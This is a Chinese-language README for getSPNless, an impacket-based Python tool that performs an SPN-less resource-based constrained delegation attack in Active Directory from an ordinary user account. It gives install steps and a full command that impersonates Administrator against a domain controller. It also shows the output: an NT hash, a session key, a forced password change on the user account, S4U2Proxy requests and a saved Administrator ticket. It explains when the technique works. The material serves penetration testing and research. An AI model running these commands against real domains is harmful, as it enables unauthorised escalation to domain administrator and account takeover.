
获取 Kerberos 服务票据的 Python 工具,使用无 SPN 技术。基于 利用普通用户账户进行 RBCD 攻击。
该工具使用 impacket 项目。
这些工具仅兼容 Python 3.5 以上版本。从 GitHub 克隆仓库,安装依赖项后即可使用:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
建议使用虚拟环境(virtualenv)。
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] 请求 TGT
[*] 计算所提供密码的 RC4 值
[*] NT 哈希::3ac433014b4d5b1b4bc8a5350153ea93
[*] 将票据保存至 low.ccache
[*] 票据会话密钥:37ff4701394ef659bdd724e5dca5c00f
[*] 正在更改 pwn.local\low 的密码
[*] 以 pwn.local\low 身份连接 DCE/RPC
[*] 密码已成功更改。
[!] 用户下次登录时可能需要更改密码,因为我们设置了哈希值(除非已设置“密码永不过期”)。
[*] 模拟 Administrator
[*] 请求 S4U2self+U2U
[*] 请求 S4U2Proxy
[*] 将票据保存至 Administrator@[email protected]
[*] 要恢复密码,请运行:changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
或者,也可以使用 NT 哈希。注意,使用 NT 哈希时,仅当用户账户设置了“密码永不过期”标志,才能恢复密码。
该工具提供了一种在 RBCD 攻击中绕过机器账户要求的方法。当前使用用户账户进行 RBCD 时的问题是,KDC 不知道使用哪个加密密钥来加密票据。该工具通过请求 Kerberos TGT、提取票据会话密钥并修改用户的 NT 哈希来绕过此限制。通过 S4U2Self+U2U 和 S4U2Proxy,仍然可以获取服务票据。我个人更倾向于使用机器账户,或者通过 PKINIT/UnPAC-the-Hash 和影子凭证(shadow credentials)而非无 SPN 的 RBCD。然而,当 MachineAccountQuota 设置为 0、没有可用的 ADCS 或 PKINIT 被禁用时,这是一个不错的替代方案。请注意,如果 RC4 Kerberos 加密类型被禁用,该攻击将无法生效。你可以通过检查是否有 Kerberos 类型 23(Etype 23)来确认。
本项目部分在我为 Cyber Cloud 工作期间完成,部分在我个人时间完成。感谢 Cyber Cloud 为该项目的研究和开发提供时间支持。